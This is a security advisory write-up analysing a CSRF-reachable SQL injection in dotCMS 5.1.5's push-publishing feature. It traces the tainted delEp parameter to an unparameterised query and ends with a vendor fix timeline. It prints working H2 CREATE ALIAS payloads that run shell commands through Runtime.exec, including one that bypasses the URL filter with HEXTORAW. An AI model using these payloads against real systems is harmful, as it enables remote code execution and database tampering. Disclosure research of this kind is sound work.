Impact

The SQL injection vulnerability can be exploited as an unauthenticated attacker via CSRF or as a user of the role Publisher. An attacker is able to execute stacked SQL queries which means it is possible to manipulate arbitrary database entries and even execute shell commands when the H2 database is used.

Technical Analysis

dotCMS has a feature called Push Publishing which allows remotely publishing content from one server to another, e.g. from a test environment to a productive environment. Also, a user can add multiple contents to a bundle and push this bundle instead of pushing the content separately. An attacker can exploit this feature by pushing a bundle to the publishing queue and injecting SQL syntax.

A classical SQL Injection

The unpushed bundles can be viewed through the view_unpushed_bundles.jsp file. The following code snippet shows the entry point for an attacker: the vulnerable function deleteEndPointById() is called. As a prerequisite an unpushed bundle needs to be present in the publishing queue because otherwise the execution will not reach the function call in line 7. However, as a publisher we can simply push a bundle to the queue. The unsanitized user input is received in line 6 through the HTTP GET or POST parameter delEp that is passed to the function deleteEndPointById() as argument id.

html/portlet/ext/contentlet/publishing/view_unpushed_bundles.jsp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
...
<%
	for(Bundle bundle : bundles){
          hasBundles=true;
	  if(null!=request.getParameter("delEp")){
	   String id = request.getParameter("delEp");
	   pepAPI.deleteEndPointById(id);
	  }
	...
	}
%>
...

The function deleteEndPointById() then calls the function completeDiscardConflicts(). It passes along the unsanitzied user input as parameter id.

com.dotcms.publisher.endpoint.business.PublishingEndPointAPIImpl

1
2
3
4
5
6
7
8
9
public class PublishingEndPointAPIImpl implements PublishingEndPointAPI {

	public void deleteEndPointById(String id) throws DotDataException {
    	...
	    integrityUtil.completeDiscardConflicts(id);
        ...
	}
    ...
}

The trace can be followed to the function discardConflicts() (see following Listing) where the user input is concatenated into a DELETE query via the parameter endpointId in line 5. No input sanitization or prepared statement is used and an attacker can inject arbitrary SQL syntax into the existing SQL query.

com.dotcms.integritycheckers.AbstractIntegrityChecker

1
2
3
4
5
6
private void discardConflicts(final String endpointId, IntegrityType type)
     throws DotDataException {
   ...
   dc.executeStatement("delete from " + resultsTableName + " where endpoint_id = '"
       + endpointId + "'");
   }
The following Listing shows the function executeStatement() of the class DotConnect where the tainted string sql is executed with java.sql.Statement.execute. Interesting to mention is that this function allows the execution of stacked queries. This means we can successively execute arbitrary SQL commands. Unfortunately, we do not directly receive the output of the executed command. However, until here we can read the contents of the database through blind exploitation either time-based or error-based or manipulate arbitrary database entries.

com.dotmarketing.common.db.DotConnect

1
2
3
4
5
6
public class DotConnect {

    public boolean executeStatement(String sql) throws SQLException {
        boolean ret = stmt.execute(sql);
    }
}

The initial JSP file that can be used to trigger the SQL injection is not protected by CSRF tokens. As a result, this SQL injection vulnerability can be exploited by an unauthenticated attacker if he tricks a publisher to visit an attacker-controlled website.

Exploiting H2 SQL Injection

DotCMS is shipped with the H2 database by default. After some research we found out that H2 allows the definition of functions aliases and therefore the execution of Java code. The following listing shows a sample query which creates a function alias called REVERSE. It contains our Java code payload. We can then call this alias with the CALL statement and our Java payload is executed.

1
2
3
CREATE ALIAS REVERSE AS 
$$ String reverse(String s){ return new StringBuilder(s).reverse().toString();}$$;
CALL REVERSE('Test');

In order to achive Remote Code Execution an attacker could for example execute system commands via java.lang.Runtime.exec().

1
2
3
4
CREATE ALIAS EXEC AS 
$$ void e(String cmd) throws java.io.IOException 
{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$
CALL EXEC('whoami');

However, we were confronted with a last challenge. dotCMS has a URL filter which does not allow curly braces ({} or URL encoded %7b%7d) in the URL. We could successfully bypass this limitation as the CREATE ALIAS directive expects a String as function source code. That means we do not need the $ signs and can use built-in SQL functions to encode our payload.

1
2
3
4
CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException',
HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime();
rt.exec(cmd);',HEXTORAW('007d'));
CALL EXEC('whoami');

Time Line

Date What
2019/05/27 Vulnerability reported to dotCMS via security@dotcms.com
2019/06/06 Vendor acknowledged vulnerability and addressed issue in release 5.1.6.
2019/06/06 Vendor published release 5.1.6.

Summary

In this post we analyzed a nested SQL injection vulnerability in dotCMS 5.1.5 which can be triggered through a JSP file. An attacker needs Publisher permissions to create an unpushed bundle and can then inject arbitrary SQL commands. We found that it is possible to leverage the issue into Remote Code Execution if the dotCMS instance relies on the H2 database. However, if other databases are used Remote Code Execution might be still possible since the attacker can create a new admin user or overwrite serialized objects in the database which might allow code exection if being deserialized. We would like to thank the dotCMS security team for the professional communication and for the very fast resolution of the issue.